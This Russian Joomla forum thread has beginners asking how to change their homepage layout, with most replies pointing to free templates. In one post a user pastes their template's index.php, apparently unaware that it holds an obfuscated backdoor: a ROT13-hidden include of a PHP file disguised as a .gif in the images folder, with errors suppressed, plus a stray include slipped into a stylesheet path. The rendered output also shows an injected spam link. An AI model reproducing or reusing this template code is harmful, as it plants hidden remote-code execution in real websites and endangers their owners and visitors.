Как изменить дизайн главной страницы?

Discussion in 'Начало работы с Joomla (для начинающих)' started by bairog, Nov 10, 2007.

Page 1 of 2
  1. Offline

    bairog Недавно здесь

    Joined:
    Nov 8, 2007
    Messages:
    17
    Likes Received:
    0
    Каким образом можно изменить положение картинки на главной странице. Мне бы хотелось, чтобы она была над вертикальным меню как на этом сайте. Может можно скачать готовый шаблон? Или надо править существующий?
    Ответы попрошу хотя бы с минимальными пояснениями, ибо я совсем новичок
     
    bairog, Nov 10, 2007
    #1

  2. Ads Master

     
  3. Fanamura
    Offline

    Fanamura Доброта

    Joined:
    Mar 12, 2007
    Messages:
    5,094
    Likes Received:
    158
    Gender:
    Male
    Ответ: Как изменить дизайн главной страницы?

    bairog, раз совсем новичок, значит ищи шаблоны в инете и ставь на джумлу. Забей в поисковике "Free Joomla Templates"...
     
    Fanamura, Nov 11, 2007
    #2
  4. Offline

    Sunder Модератор

    Joined:
    Apr 23, 2007
    Messages:
    152
    Likes Received:
    16
    Gender:
    Male
    Ответ: Как изменить дизайн главной страницы?

    Или посмотреть небольшой список сайтов с бесплатными шаблонами в этой теме:
    http://joomla-support.ru/thread/17/
     
    Last edited by a moderator: Mar 31, 2014
    Sunder, Nov 11, 2007
    #3
    lutik likes this.
  5. Bad Gateway
    Offline

    Bad Gateway Недавно здесь

    Joined:
    Mar 30, 2009
    Messages:
    4
    Likes Received:
    0
    Gender:
    Male
    Касательно шаблона Joomla, можно начать с понимания разницы между heder, logo и "просто" картинкой.
     
    Bad Gateway, Mar 31, 2009
    #4
  6. niko122
    Offline

    niko122 Пользователь

    Joined:
    Jun 5, 2010
    Messages:
    83
    Likes Received:
    4
    Gender:
    Male
    Ищи подходящие шаблоны, если совсем новичок
     
    niko122, Jun 6, 2010
    #5
  7. Kos87
    Offline

    Kos87 Недавно здесь

    Joined:
    Jul 14, 2010
    Messages:
    2
    Likes Received:
    0
    Gender:
    Male
    оки, в каком файле можно поковырять html, тот который генериться на главной??
    Хочу поубирать мусор со страницы ....
    пользовал раньше xhtml и css, щас хочу жумлу заюзать. буду рад за помощь ))
     
    Kos87, Jul 15, 2010
    #6
  8. DKraev
    Offline

    DKraev <i>(aka gft)</i> => Cпециалист <=

    Joined:
    Aug 16, 2008
    Messages:
    1,627
    Likes Received:
    219
    Gender:
    Male
    /templates/ваш_шаблон/index.php + /templates/ваш_шаблон/css/файлы стилей
     
    DKraev, Jul 15, 2010
    #7
  9. Kos87
    Offline

    Kos87 Недавно здесь

    Joined:
    Jul 14, 2010
    Messages:
    2
    Likes Received:
    0
    Gender:
    Male
    почти не сталкивался с php. но понимаю что тут идет подтягивание сторонних блоков и генерация страницы в целом.
    это код с /templates/ваш_шаблон/index.php

    Код (html):
    1. <?php
    2. // no direct access
    3. defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
    4. ?>
    5. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    6. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
    7. <head>
    8. <jdoc:include type="head" />
    9. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
    10. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
    11. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    12. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
    13. <!--[if lte IE 6]>
    14. <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
    15. <style>
    16. #topnav ul li ul {
    17. left: -999em;
    18. margin-top: 0px;
    19. margin-left: 0px;
    20. }
    21. </style>
    22. <![endif]-->
    23. <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
    24. <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
    25. </head>
    26. <body id="page_bg">
    27. <a name="up" id="up"></a>
    28. <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
    29. <jdoc:include type="modules" name="layout" style="rounded" />
    30. <?php endif; ?>
    31. <?php include('functions.php'); ?>
    32. <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
    33.  
    34. <div id="main_bg" class="banner1">
    35.     <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
    36.     <div id="main_top"><jdoc:include type="modules" name="top" /></div>
    37.     <br clear="all" /></div>
    38.     <?php if($this->countModules('left')) : ?>
    39.     <div id="leftcolumn">
    40.         <jdoc:include type="modules" name="left" style="rounded" />
    41.     </div>
    42.     <?php endif; ?>
    43.     <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
    44.           elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
    45.           else $maincol_sufix = ''; ?>
    46.     <div id="maincolumn<?php echo $maincol_sufix; ?>">
    47.         <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    48.         <div class="nopad"><jdoc:include type="component" /></div>
    49.     </div>
    50.     <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    51.     <div id="rightcolumn">
    52.         <jdoc:include type="modules" name="right" style="xhtml"/>
    53.         <br />
    54.         <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    55.     </div>
    56.     <?php endif; ?>
    57.     <br clear="all" />
    58. </div>    
    59.    
    60. <div id="f_area">
    61.     <?php if($this->countModules('user1')) : ?>
    62.         <jdoc:include type="modules" name="user1" style="xhtml" />
    63.     <?php endif; ?>
    64.     <?php if($this->countModules('user2')) : ?>
    65.         <jdoc:include type="modules" name="user2" style="xhtml" />
    66.     <?php endif; ?>
    67.     <br clear="all" />
    68. </div>
    69.  
    70. <p id="power_by" align="center">
    71.     <?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
    72.     <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
    73. </p>
    74.  
    75. <jdoc:include type="modules" name="debug" />
    76. </body>
    77. </html>


    а это часть кода с сайта в браузере

    Код (html):
    1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    2. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru-ru" lang="ru-ru" >
    3. <head>
    4.   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    5.   <meta name="robots" content="index, follow" />
    6.   <meta name="keywords" content="joomla, CMS Joomla, движок сайта" />
    7.   <meta name="description" content="Joomla! - система управления содержимым - основа динамического портала" />
    8.   <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
    9.   <title>Добро пожаловать на главную страницу</title>
    10.   <link href="/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
    11.   <link href="/index.php?format=feed&amp;type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
    12.   <link href="/templates/martial-arts-template/favicon.ico" rel="shortcut icon" type="image/x-icon" />
    13.   <script type="text/javascript" src="/media/system/js/mootools.js"></script>
    14.   <script type="text/javascript" src="/media/system/js/caption.js"></script>
    15.  
    16. <link rel="stylesheet" href="/templates/system/css/system.css" type="text/css" />
    17. <link rel="stylesheet" href="/templates/system/css/general.css" type="text/css" />
    18. <link rel="stylesheet" href="/templates/martial-arts-template/css/template.css" type="text/css" />
    19. <link rel="stylesheet" href="/templates/martial-arts-template/css/green.css" type="text/css" />
    20. <!--[if lte IE 6]>
    21. <link href="/templates/martial-arts-template/css/ieonly.css" rel="stylesheet" type="text/css" />
    22. <style>
    23. #topnav ul li ul {
    24. left: -999em;
    25. margin-top: 0px;
    26. margin-left: 0px;
    27. }
    28. </style>
    29. <![endif]-->
    30. <script language="javascript" type="text/javascript" src="/templates/martial-arts-template/js/mootools.js"></script>
    31. <script language="javascript" type="text/javascript" src="/templates/martial-arts-template/js/moomenu.js"></script>
    32. </head>
    33. <body id="page_bg">
    34. <a name="up" id="up"></a>
    35.    
    36. <div id="top_menu"><div id="topnav"><ul class="menuhor"><li><a href="http://help-team.com.ua/" class="active first-item" id="menu1" ><span>Главная</span></a><ul><li><a href="http://www.ntchosting.com/" target="_blank" class="first-item" id="menu500" ><span>linux web hosting</span></a></li></ul></li><li><a href="/index.php?option=com_content&amp;view=article&amp;id=19&amp;Itemid=27"  id="menu27" ><span>Обзор Joomla!</span></a><ul><li><a href="/index.php?option=com_content&amp;view=article&amp;id=22&amp;Itemid=34" class="first-item" id="menu34" ><span>Что нового в 1.5?</span></a></li></ul></li><li><a href="/index.php?option=com_content&amp;view=article&amp;id=5&amp;Itemid=2"  id="menu2" ><span>Лицензия Joomla!</span></a></li><li><a href="/index.php?option=com_content&amp;view=section&amp;id=4&amp;Itemid=37"  id="menu37" ><span>Подробно о Joomla!</span></a></li><li><a href="/index.php?option=com_content&amp;view=section&amp;id=3&amp;Itemid=41"  id="menu41" ><span>Ча.Во. (FAQ)</span></a></li><li><a href="/index.php?option=com_content&amp;view=category&amp;layout=blog&amp;id=1&amp;Itemid=50"  id="menu50" ><span>Новости</span></a></li><li><a href="/index.php?option=com_weblinks&amp;view=categories&amp;Itemid=48"  id="menu48" ><span>Ссылки</span></a></li><li><a href="/index.php?option=com_newsfeeds&amp;view=categories&amp;Itemid=49" class="last-item" id="menu49" ><span>Каналы новостей</span></a></li></ul></div></div>
    37.  
    38. <div id="main_bg" class="banner1">
    39.     <div id="h_area"><img src="/templates/martial-arts-template/images/logo3.gif" alt="forex trading logo" align="left" /><a href="/index.php" class="logo" title="Forex Trading Home">Киокушинкай каратэ</a>
    40.     <div id="main_top">


    хочу изменить значение этой строки <a href="/index.php" class="logo" title="Forex Trading Home">Киокушинкай каратэ</a> . спс за помощь заранее ))
     
    Kos87, Jul 15, 2010
    #8
  10. Offline

    gamesoneve Недавно здесь

    Joined:
    Jun 24, 2010
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    Возможно вам лучше найти готовый шаблон со встроенными расширениями. Он ставится как сам движок джумлы. После установки останется только выключить ненужные модули.
     
    gamesoneve, Aug 12, 2010
    #9
  11. Offline

    Limonad Недавно здесь

    Joined:
    Nov 16, 2010
    Messages:
    2
    Likes Received:
    0
    Gender:
    Male
    Проще найти готовый шаблон и с помощью фаербаг подправить
     
    Limonad, Nov 16, 2010
    #10
  12. Offline

    fafer Недавно здесь

    Joined:
    Nov 30, 2010
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    Проще в index.php перенести.
     
    fafer, Nov 30, 2010
    #11
  13. Offline

    Stealth83 Недавно здесь

    Joined:
    Jul 15, 2010
    Messages:
    32
    Likes Received:
    0
    Gender:
    Male
    найди новый шаблон...
     
    Stealth83, Jan 14, 2011
    #12
  14. Offline

    ustus Недавно здесь

    Joined:
    Dec 25, 2010
    Messages:
    8
    Likes Received:
    0
    Gender:
    Male
    А почему все отправляют за готовыми шаблонами? Слабо ответить? Или просто незнание ответа? Меня лично устраивает страница по умолчанию и я лучше удалю лишнее (эту картинку сверху) в ней, чем качать готовые шаблоны. К тому же, это даст бесценный опыт. Был задан конкретный вопрос, если нет ответа - проходите мимо. Меня лично так же интересует данный вопрос насчет картинки всерху - если поправить index.php, то картинка исчезает, однако, место которое она занимала никуда не делось. И верхнее меню тоже самое - отключаешь, а овальные края остаются на месте. Еще раз попрошу отвечать конкретно, без "скачай шаблон", пожалуйста.
     
    ustus, Jan 21, 2011
    #13
  15. CB9T
    Offline

    CB9T Преподаватель по J! Staff Member ⇒ Профи ⇐

    Joined:
    May 21, 2010
    Messages:
    2,604
    Likes Received:
    322
    Gender:
    Male
    С радостью бы помог, но:
    Нету даже адреса и примера где, что , какой код.

    А так советую firebug (для FF) и через него править код ( html + css), а то что:
    Увы, если в каскадной таблице стилей прописано, что шапка высотой скажем 300px, то убрав в шапке картинку ничего не добьетесь. Надо править css (а именно в 90% обзывается header) :wizard:
     
    CB9T, Jan 21, 2011
    #14
  16. Offline

    ustus Недавно здесь

    Joined:
    Dec 25, 2010
    Messages:
    8
    Likes Received:
    0
    Gender:
    Male
    Спасибо, разобрался : )
     
    ustus, Jan 23, 2011
    #15
  17. CB9T
    Offline

    CB9T Преподаватель по J! Staff Member ⇒ Профи ⇐

    Joined:
    May 21, 2010
    Messages:
    2,604
    Likes Received:
    322
    Gender:
    Male
    Тут обычно - спасибо -> читай подписи популярные :D
     
    CB9T, Jan 23, 2011
    #16
  18. Offline

    CyberKot Недавно здесь

    Joined:
    Aug 5, 2011
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    не знаю с чего начинать! начну с самой сути ...


    сразу говорю что проблема не в шаблоне.


    проблема в скрипте в каком файле находиться вот эта строчка ?


    Код (PHP):
    1. <div class="art-post">
    2.     <div class="art-post-body">
    3. <div class="art-post-inner">
    4.  
    5. <h2 class="art-postheader"> <span class="componentheading">Сайт Татьяны и Константина</span></h2>
    6. </div>



    Сайт Татьяны и Константина
    получается что на главной странице блог - новости и тема новостей залезает на эту строчку что красная... как убрать эту строчку...

    в структуре самого сайта не не шарю... но интерес есть по этому и прошу помощи ;)

    Да. версия джумлы 1.5.7

    с уважением!!!


    всем сенк уже все решил :)
     
    Last edited: Aug 5, 2011
    CyberKot, Aug 5, 2011
    #17
  19. Offline

    egori4 Недавно здесь

    Joined:
    Sep 12, 2011
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    Подскажите как поставить в это поле картинку.
    тут картинка (http://narod.ru/disk/24826451001/НОВЫЙ (бут.jpg.html)

    Где в CSS фалах искать код? Я знаю как это сделать просто изменив картинку из папки images. Но теперь у меня так не получается, я использовал модуль слайд-шоу и теперь моя картинка пропала и теперь не могу найти в css "путь к ней".

    Шаблон "phoca_t". Джумла 1.6 . ч.з firebug - это поле называется - phoca-slideshow
     
    egori4, Sep 12, 2011
    #18
  20. Offline

    SongForYou Недавно здесь

    Joined:
    Oct 25, 2011
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    Аналогичный вопрос,только на много сложнее.
    Хотелось бы переделать весь стандартный шаблон,переделать все по своему вкусу!
    С джумла сталкиваюсь в первый раз. Так бы и не столкнулся если бы движок не понадобился.
    Я так понимаю папка templates отвечает за всю трехомундию?
    Конкретно меня интересует позиционирование объектов...B)
     
    SongForYou, Oct 25, 2011
    #19
  21. Offline

    Innusik111190 Недавно здесь

    Joined:
    Nov 4, 2011
    Messages:
    9
    Likes Received:
    0
    Gender:
    Female
    Всем привет. ВЫвожу материал на главную страницу,а текст весь разъезжается некрасиво..Половина материала уходит с экрана..заходит под меню..ПЛохо настроен вид главной сраницы..подскажите где его изменить???Чтобы вместо двух колонок с материалм\, была всего одна???
     
    Innusik111190, Nov 7, 2011
    #20
Page 1 of 2
< Как поменять описание сайта | не выводится категория при закреплении за пунктом меню >

Share This Page

Loading...